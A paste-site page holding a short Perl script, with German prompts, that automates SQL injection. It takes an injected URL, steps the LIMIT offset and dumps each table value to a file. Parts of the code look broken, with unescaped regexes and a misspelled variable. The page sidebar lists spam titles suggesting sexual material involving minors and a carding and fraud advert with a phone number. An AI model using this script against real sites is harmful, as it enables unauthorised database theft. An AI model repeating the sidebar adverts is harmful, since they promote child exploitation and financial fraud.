nopaste | share your clipboard

Undefined

Edit & repaste | raw paste | Request removal

use LWP::Simple;
 
my $counter = 0;
my $limit = 10;
my $website = "";
 
print "Wieviele tables ausgeben? : ";
my $limit = <STDIN>;
print "Bitte Website mit injection eingeben (Systax siehe readme.html) ? : ";
my $website = <STDIN>;
 
                $website =~ s/concat(/concat(0x7E,0x7E,/;
                $website =~ s/)/,0x7E,0x7E)/; 
 
 
 
while( $counter <= $limit ) {
        if( $counter == 0) {
                $website =~ s/limit+0,1/limit+$counter,1/;
        }
        else {
                my $tausch = $counter-1;
                $website =~ s/limit+$tausch,1/limit+$counter,1/;
        }
        my $stWebsite = get($website);
    my @data = split(/~~/, $stWebsite);
    my $ausgabe = @data[1];
    undef @data;
    print "$counter => $ausgaben";
        open FILE, ">> output.txt" or die $!;
        print FILE "$counter => $ausgaben";
        close(FILE);
        $counter++;
}
 
system("pause");

Latest pastes

THREE XXX VIDEOS FULL HD EXCLUSIVE CONTENT

4 days ago

AM4Z1NG S3X VID3OS .. THE BEST

5 days ago

T33N S3X APRIL 19 2024 COLLECTION

6 days ago

2 AM4ZING TTEENN V1DEOS APRIL 17 COLL3CTION

7 days ago

ATM CREDIT CARD Cloned Cards transfers PAYPAL(Telegram +1( 202) 503 9187 ) Cashapp Bank Western Union Zelle Cc cVV Authentic DL and Passport VbV Dumps

8 days ago